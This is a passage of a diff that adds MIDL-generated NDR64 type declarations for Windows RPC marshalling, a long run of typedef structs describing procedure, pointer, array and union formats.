+__midl_frag2276_t; +extern const __midl_frag2276_t __midl_frag2276; + +typedef +struct +{ + struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1; + struct + { + struct _NDR64_REPEAT_FORMAT frag1; + struct + { + struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag1; + struct _NDR64_POINTER_FORMAT frag2; + } frag2; + NDR64_FORMAT_CHAR frag3; + } frag2; + struct _NDR64_ARRAY_ELEMENT_INFO frag3; +} +__midl_frag2275_t; +extern const __midl_frag2275_t __midl_frag2275; + +typedef +struct +{ + struct _NDR64_STRUCTURE_HEADER_FORMAT frag1; + struct + { + struct _NDR64_NO_REPEAT_FORMAT frag1; + struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag2; + struct _NDR64_POINTER_FORMAT frag3; + struct _NDR64_NO_REPEAT_FORMAT frag4; + struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag5; + struct _NDR64_POINTER_FORMAT frag6; + NDR64_FORMAT_CHAR frag7; + } frag2; +} +__midl_frag2274_t; +extern const __midl_frag2274_t __midl_frag2274; + +typedef +struct +{ + NDR64_FORMAT_UINT32 frag1; + struct _NDR64_EXPR_VAR frag2; +} +__midl_frag2273_t; +extern const __midl_frag2273_t __midl_frag2273; + +typedef +struct +{ + struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1; + struct + { + struct _NDR64_REPEAT_FORMAT frag1; + struct + { + struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag1; + struct _NDR64_POINTER_FORMAT frag2; + } frag2; + NDR64_FORMAT_CHAR frag3; + } frag2; + struct _NDR64_ARRAY_ELEMENT_INFO frag3; +} +__midl_frag2272_t; +extern const __midl_frag2272_t __midl_frag2272; + +typedef +struct +{ + struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1; + struct + { + struct _NDR64_SIMPLE_MEMBER_FORMAT frag1; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag2; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag3; + struct _NDR64_MEMPAD_FORMAT frag4; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag5; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag6; + } frag2; +} +__midl_frag2271_t; +extern const __midl_frag2271_t __midl_frag2271; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag2270_t; +extern const __midl_frag2270_t __midl_frag2270; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag2269_t; +extern const __midl_frag2269_t __midl_frag2269; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag2266_t; +extern const __midl_frag2266_t __midl_frag2266; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; + struct _NDR64_PARAM_FORMAT frag7; +} +__midl_frag2265_t; +extern const __midl_frag2265_t __midl_frag2265; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag2261_t; +extern const __midl_frag2261_t __midl_frag2261; + +typedef +struct +{ + NDR64_FORMAT_UINT32 frag1; + struct _NDR64_EXPR_OPERATOR frag2; + struct _NDR64_EXPR_VAR frag3; +} +__midl_frag2260_t; +extern const __midl_frag2260_t __midl_frag2260; + +typedef +struct +{ + struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1; + struct + { + struct _NDR64_REPEAT_FORMAT frag1; + struct + { + struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag1; + struct _NDR64_POINTER_FORMAT frag2; + } frag2; + NDR64_FORMAT_CHAR frag3; + } frag2; + struct _NDR64_ARRAY_ELEMENT_INFO frag3; +} +__midl_frag2259_t; +extern const __midl_frag2259_t __midl_frag2259; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag2258_t; +extern const __midl_frag2258_t __midl_frag2258; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag2257_t; +extern const __midl_frag2257_t __midl_frag2257; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; +} +__midl_frag2254_t; +extern const __midl_frag2254_t __midl_frag2254; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; +} +__midl_frag2248_t; +extern const __midl_frag2248_t __midl_frag2248; + +typedef +struct +{ + NDR64_FORMAT_UINT32 frag1; + struct _NDR64_EXPR_OPERATOR frag2; + struct _NDR64_EXPR_VAR frag3; +} +__midl_frag2241_t; +extern const __midl_frag2241_t __midl_frag2241; + +typedef +struct +{ + struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1; + struct _NDR64_ARRAY_ELEMENT_INFO frag2; +} +__midl_frag2240_t; +extern const __midl_frag2240_t __midl_frag2240; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag2239_t; +extern const __midl_frag2239_t __midl_frag2239; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag2238_t; +extern const __midl_frag2238_t __midl_frag2238; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; + struct _NDR64_PARAM_FORMAT frag7; +} +__midl_frag2235_t; +extern const __midl_frag2235_t __midl_frag2235; + +typedef +struct +{ + struct _NDR64_STRUCTURE_HEADER_FORMAT frag1; + struct + { + struct _NDR64_NO_REPEAT_FORMAT frag1; + struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag2; + struct _NDR64_POINTER_FORMAT frag3; + struct _NDR64_NO_REPEAT_FORMAT frag4; + struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag5; + struct _NDR64_POINTER_FORMAT frag6; + struct _NDR64_NO_REPEAT_FORMAT frag7; + struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag8; + struct _NDR64_POINTER_FORMAT frag9; + NDR64_FORMAT_CHAR frag10; + } frag2; +} +__midl_frag2228_t; +extern const __midl_frag2228_t __midl_frag2228; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag2227_t; +extern const __midl_frag2227_t __midl_frag2227; + +typedef +struct +{ + NDR64_FORMAT_UINT32 frag1; + struct _NDR64_EXPR_VAR frag2; +} +__midl_frag2226_t; +extern const __midl_frag2226_t __midl_frag2226; + +typedef +struct +{ + struct _NDR64_NON_ENCAPSULATED_UNION frag1; + struct _NDR64_UNION_ARM_SELECTOR frag2; + struct _NDR64_UNION_ARM frag3; + NDR64_UINT32 frag4; +} +__midl_frag2225_t; +extern const __midl_frag2225_t __midl_frag2225; + +typedef +struct +{ + struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1; + struct + { + struct _NDR64_SIMPLE_MEMBER_FORMAT frag1; + struct _NDR64_MEMPAD_FORMAT frag2; + struct _NDR64_EMBEDDED_COMPLEX_FORMAT frag3; + struct _NDR64_BUFFER_ALIGN_FORMAT frag4; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag5; + } frag2; +} +__midl_frag2224_t; +extern const __midl_frag2224_t __midl_frag2224; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag2223_t; +extern const __midl_frag2223_t __midl_frag2223; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag2222_t; +extern const __midl_frag2222_t __midl_frag2222; + +typedef +NDR64_FORMAT_CHAR +__midl_frag2219_t; +extern const __midl_frag2219_t __midl_frag2219; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag2218_t; +extern const __midl_frag2218_t __midl_frag2218; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; + struct _NDR64_PARAM_FORMAT frag7; + struct _NDR64_PARAM_FORMAT frag8; +} +__midl_frag2217_t; +extern const __midl_frag2217_t __midl_frag2217; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag2213_t; +extern const __midl_frag2213_t __midl_frag2213; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag2212_t; +extern const __midl_frag2212_t __midl_frag2212; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; + struct _NDR64_PARAM_FORMAT frag7; +} +__midl_frag2209_t; +extern const __midl_frag2209_t __midl_frag2209; + +typedef +struct +{ + struct _NDR64_POINTER_FORMAT frag1; + struct _NDR64_POINTER_FORMAT frag2; +} +__midl_frag2205_t; +extern const __midl_frag2205_t __midl_frag2205; + +typedef +struct +{ + NDR64_FORMAT_UINT32 frag1; + struct _NDR64_EXPR_VAR frag2; +} +__midl_frag2203_t; +extern const __midl_frag2203_t __midl_frag2203; + +typedef +struct +{ + struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1; + struct _NDR64_ARRAY_ELEMENT_INFO frag2; +} +__midl_frag2202_t; +extern const __midl_frag2202_t __midl_frag2202; + +typedef +struct +{ + NDR64_FORMAT_UINT32 frag1; + struct _NDR64_EXPR_VAR frag2; +} +__midl_frag2200_t; +extern const __midl_frag2200_t __midl_frag2200; + +typedef +struct +{ + struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1; + struct _NDR64_ARRAY_ELEMENT_INFO frag2; +} +__midl_frag2199_t; +extern const __midl_frag2199_t __midl_frag2199; + +typedef +struct +{ + struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1; + struct + { + struct _NDR64_SIMPLE_MEMBER_FORMAT frag1; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag2; + struct _NDR64_MEMPAD_FORMAT frag3; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag4; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag5; + struct _NDR64_MEMPAD_FORMAT frag6; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag7; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag8; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag9; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag10; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag11; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag12; + struct _NDR64_MEMPAD_FORMAT frag13; + struct _NDR64_BUFFER_ALIGN_FORMAT frag14; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag15; + } frag2; +} +__midl_frag2198_t; +extern const __midl_frag2198_t __midl_frag2198; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag2197_t; +extern const __midl_frag2197_t __midl_frag2197; + +typedef +struct +{ + NDR64_FORMAT_UINT32 frag1; + struct _NDR64_EXPR_VAR frag2; +} +__midl_frag2196_t; +extern const __midl_frag2196_t __midl_frag2196; + +typedef +struct +{ + struct _NDR64_NON_ENCAPSULATED_UNION frag1; + struct _NDR64_UNION_ARM_SELECTOR frag2; + struct _NDR64_UNION_ARM frag3; + NDR64_UINT32 frag4; +} +__midl_frag2195_t; +extern const __midl_frag2195_t __midl_frag2195; + +typedef +struct +{ + struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1; + struct + { + struct _NDR64_SIMPLE_MEMBER_FORMAT frag1; + struct _NDR64_MEMPAD_FORMAT frag2; + struct _NDR64_EMBEDDED_COMPLEX_FORMAT frag3; + struct _NDR64_BUFFER_ALIGN_FORMAT frag4; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag5; + } frag2; +} +__midl_frag2194_t; +extern const __midl_frag2194_t __midl_frag2194; + +typedef +struct +{ + NDR64_FORMAT_UINT32 frag1; + struct _NDR64_EXPR_VAR frag2; +} +__midl_frag2188_t; +extern const __midl_frag2188_t __midl_frag2188; + +typedef +struct +{ + struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1; + struct _NDR64_ARRAY_ELEMENT_INFO frag2; +} +__midl_frag2187_t; +extern const __midl_frag2187_t __midl_frag2187; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag2186_t; +extern const __midl_frag2186_t __midl_frag2186; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; + struct _NDR64_PARAM_FORMAT frag7; + struct _NDR64_PARAM_FORMAT frag8; +} +__midl_frag2185_t; +extern const __midl_frag2185_t __midl_frag2185; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; +} +__midl_frag2181_t; +extern const __midl_frag2181_t __midl_frag2181; + +typedef +struct +{ + struct _NDR64_STRUCTURE_HEADER_FORMAT frag1; + struct + { + struct _NDR64_NO_REPEAT_FORMAT frag1; + struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag2; + struct _NDR64_POINTER_FORMAT frag3; + NDR64_FORMAT_CHAR frag4; + } frag2; +} +__midl_frag2176_t; +extern const __midl_frag2176_t __midl_frag2176; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag2175_t; +extern const __midl_frag2175_t __midl_frag2175; + +typedef +struct +{ + struct _NDR64_NON_ENCAPSULATED_UNION frag1; + struct _NDR64_UNION_ARM_SELECTOR frag2; + struct _NDR64_UNION_ARM frag3; + NDR64_UINT32 frag4; +} +__midl_frag2173_t; +extern const __midl_frag2173_t __midl_frag2173; + +typedef +struct +{ + struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1; + struct + { + struct _NDR64_SIMPLE_MEMBER_FORMAT frag1; + struct _NDR64_MEMPAD_FORMAT frag2; + struct _NDR64_EMBEDDED_COMPLEX_FORMAT frag3; + struct _NDR64_BUFFER_ALIGN_FORMAT frag4; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag5; + } frag2; +} +__midl_frag2172_t; +extern const __midl_frag2172_t __midl_frag2172; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag2171_t; +extern const __midl_frag2171_t __midl_frag2171; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag2170_t; +extern const __midl_frag2170_t __midl_frag2170; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; +} +__midl_frag2168_t; +extern const __midl_frag2168_t __midl_frag2168; + +typedef +NDR64_FORMAT_CHAR +__midl_frag2164_t; +extern const __midl_frag2164_t __midl_frag2164; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; + struct _NDR64_PARAM_FORMAT frag7; +} +__midl_frag2161_t; +extern const __midl_frag2161_t __midl_frag2161; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; + struct _NDR64_PARAM_FORMAT frag7; + struct _NDR64_PARAM_FORMAT frag8; +} +__midl_frag2152_t; +extern const __midl_frag2152_t __midl_frag2152; + +typedef +struct +{ + struct _NDR64_STRUCTURE_HEADER_FORMAT frag1; + struct + { + struct _NDR64_NO_REPEAT_FORMAT frag1; + struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag2; + struct _NDR64_POINTER_FORMAT frag3; + struct _NDR64_NO_REPEAT_FORMAT frag4; + struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag5; + struct _NDR64_POINTER_FORMAT frag6; + struct _NDR64_NO_REPEAT_FORMAT frag7; + struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag8; + struct _NDR64_POINTER_FORMAT frag9; + struct _NDR64_NO_REPEAT_FORMAT frag10; + struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag11; + struct _NDR64_POINTER_FORMAT frag12; + struct _NDR64_NO_REPEAT_FORMAT frag13; + struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag14; + struct _NDR64_POINTER_FORMAT frag15; + struct _NDR64_NO_REPEAT_FORMAT frag16; + struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag17; + struct _NDR64_POINTER_FORMAT frag18; + struct _NDR64_NO_REPEAT_FORMAT frag19; + struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag20; + struct _NDR64_POINTER_FORMAT frag21; + struct _NDR64_NO_REPEAT_FORMAT frag22; + struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag23; + struct _NDR64_POINTER_FORMAT frag24; + struct _NDR64_NO_REPEAT_FORMAT frag25; + struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag26; + struct _NDR64_POINTER_FORMAT frag27; + struct _NDR64_NO_REPEAT_FORMAT frag28; + struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag29; + struct _NDR64_POINTER_FORMAT frag30; + struct _NDR64_NO_REPEAT_FORMAT frag31; + struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag32; + struct _NDR64_POINTER_FORMAT frag33; + struct _NDR64_NO_REPEAT_FORMAT frag34; + struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag35; + struct _NDR64_POINTER_FORMAT frag36; + struct _NDR64_NO_REPEAT_FORMAT frag37; + struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag38; + struct _NDR64_POINTER_FORMAT frag39; + struct _NDR64_NO_REPEAT_FORMAT frag40; + struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag41; + struct _NDR64_POINTER_FORMAT frag42; + struct _NDR64_NO_REPEAT_FORMAT frag43; + struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag44; + struct _NDR64_POINTER_FORMAT frag45; + struct _NDR64_NO_REPEAT_FORMAT frag46; + struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag47; + struct _NDR64_POINTER_FORMAT frag48; + struct _NDR64_NO_REPEAT_FORMAT frag49; + struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag50; + struct _NDR64_POINTER_FORMAT frag51; + struct _NDR64_NO_REPEAT_FORMAT frag52; + struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag53; + struct _NDR64_POINTER_FORMAT frag54; + struct _NDR64_NO_REPEAT_FORMAT frag55; + struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag56; + struct _NDR64_POINTER_FORMAT frag57; + struct _NDR64_NO_REPEAT_FORMAT frag58; + struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag59; + struct _NDR64_POINTER_FORMAT frag60; + struct _NDR64_NO_REPEAT_FORMAT frag61; + struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag62; + struct _NDR64_POINTER_FORMAT frag63; + struct _NDR64_NO_REPEAT_FORMAT frag64; + struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag65; + struct _NDR64_POINTER_FORMAT frag66; + struct _NDR64_NO_REPEAT_FORMAT frag67; + struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag68; + struct _NDR64_POINTER_FORMAT frag69; + struct _NDR64_NO_REPEAT_FORMAT frag70; + struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag71; + struct _NDR64_POINTER_FORMAT frag72; + struct _NDR64_NO_REPEAT_FORMAT frag73; + struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag74; + struct _NDR64_POINTER_FORMAT frag75; + NDR64_FORMAT_CHAR frag76; + } frag2; +} +__midl_frag2123_t; +extern const __midl_frag2123_t __midl_frag2123; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag2122_t; +extern const __midl_frag2122_t __midl_frag2122; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; +} +__midl_frag2121_t; +extern const __midl_frag2121_t __midl_frag2121; + +typedef +struct +{ + struct _NDR64_STRUCTURE_HEADER_FORMAT frag1; +} +__midl_frag2117_t; +extern const __midl_frag2117_t __midl_frag2117; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag2116_t; +extern const __midl_frag2116_t __midl_frag2116; + +typedef +struct +{ + struct _NDR64_NON_ENCAPSULATED_UNION frag1; + struct _NDR64_UNION_ARM_SELECTOR frag2; + struct _NDR64_UNION_ARM frag3; + NDR64_UINT32 frag4; +} +__midl_frag2114_t; +extern const __midl_frag2114_t __midl_frag2114; + +typedef +struct +{ + struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1; + struct + { + struct _NDR64_SIMPLE_MEMBER_FORMAT frag1; + struct _NDR64_MEMPAD_FORMAT frag2; + struct _NDR64_EMBEDDED_COMPLEX_FORMAT frag3; + struct _NDR64_BUFFER_ALIGN_FORMAT frag4; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag5; + } frag2; +} +__midl_frag2113_t; +extern const __midl_frag2113_t __midl_frag2113; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag2112_t; +extern const __midl_frag2112_t __midl_frag2112; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag2111_t; +extern const __midl_frag2111_t __midl_frag2111; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; +} +__midl_frag2109_t; +extern const __midl_frag2109_t __midl_frag2109; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; + struct _NDR64_PARAM_FORMAT frag7; + struct _NDR64_PARAM_FORMAT frag8; + struct _NDR64_PARAM_FORMAT frag9; + struct _NDR64_PARAM_FORMAT frag10; + struct _NDR64_PARAM_FORMAT frag11; + struct _NDR64_PARAM_FORMAT frag12; +} +__midl_frag2087_t; +extern const __midl_frag2087_t __midl_frag2087; + +typedef +struct +{ + struct _NDR64_POINTER_FORMAT frag1; + struct _NDR64_POINTER_FORMAT frag2; + struct _NDR64_POINTER_FORMAT frag3; + struct _NDR64_POINTER_FORMAT frag4; + struct _NDR64_POINTER_FORMAT frag5; + struct _NDR64_POINTER_FORMAT frag6; +} +__midl_frag2083_t; +extern const __midl_frag2083_t __midl_frag2083; + +typedef +struct +{ + struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1; + struct + { + struct _NDR64_SIMPLE_MEMBER_FORMAT frag1; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag2; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag3; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag4; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag5; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag6; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag7; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag8; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag9; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag10; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag11; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag12; + struct _NDR64_MEMPAD_FORMAT frag13; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag14; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag15; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag16; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag17; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag18; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag19; + } frag2; +} +__midl_frag2076_t; +extern const __midl_frag2076_t __midl_frag2076; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag2075_t; +extern const __midl_frag2075_t __midl_frag2075; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; +} +__midl_frag2074_t; +extern const __midl_frag2074_t __midl_frag2074; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; +} +__midl_frag2066_t; +extern const __midl_frag2066_t __midl_frag2066; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag2054_t; +extern const __midl_frag2054_t __midl_frag2054; + +typedef +struct +{ + NDR64_FORMAT_UINT32 frag1; + struct _NDR64_EXPR_OPERATOR frag2; + struct _NDR64_EXPR_VAR frag3; +} +__midl_frag2049_t; +extern const __midl_frag2049_t __midl_frag2049; + +typedef +struct +{ + struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1; + struct _NDR64_ARRAY_ELEMENT_INFO frag2; +} +__midl_frag2048_t; +extern const __midl_frag2048_t __midl_frag2048; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag2047_t; +extern const __midl_frag2047_t __midl_frag2047; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag2046_t; +extern const __midl_frag2046_t __midl_frag2046; + +typedef +struct +{ + NDR64_FORMAT_UINT32 frag1; + struct _NDR64_EXPR_VAR frag2; +} +__midl_frag2039_t; +extern const __midl_frag2039_t __midl_frag2039; + +typedef +struct +{ + struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1; + struct _NDR64_ARRAY_ELEMENT_INFO frag2; +} +__midl_frag2038_t; +extern const __midl_frag2038_t __midl_frag2038; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag2037_t; +extern const __midl_frag2037_t __midl_frag2037; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; + struct _NDR64_PARAM_FORMAT frag7; + struct _NDR64_PARAM_FORMAT frag8; + struct _NDR64_PARAM_FORMAT frag9; + struct _NDR64_PARAM_FORMAT frag10; + struct _NDR64_PARAM_FORMAT frag11; + struct _NDR64_PARAM_FORMAT frag12; +} +__midl_frag2035_t; +extern const __midl_frag2035_t __midl_frag2035; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; + struct _NDR64_PARAM_FORMAT frag7; + struct _NDR64_PARAM_FORMAT frag8; + struct _NDR64_PARAM_FORMAT frag9; + struct _NDR64_PARAM_FORMAT frag10; + struct _NDR64_PARAM_FORMAT frag11; +} +__midl_frag2017_t; +extern const __midl_frag2017_t __midl_frag2017; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; +} +__midl_frag2008_t; +extern const __midl_frag2008_t __midl_frag2008; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; +} +__midl_frag1983_t; +extern const __midl_frag1983_t __midl_frag1983; + +typedef +struct +{ + 